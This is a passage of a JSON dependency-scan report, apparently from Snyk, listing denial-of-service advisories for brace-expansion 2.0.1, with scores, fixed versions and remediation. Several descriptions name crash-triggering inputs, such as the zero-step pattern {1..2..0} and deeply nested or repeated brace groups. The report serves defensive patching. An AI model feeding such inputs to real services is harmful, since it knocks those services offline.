"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
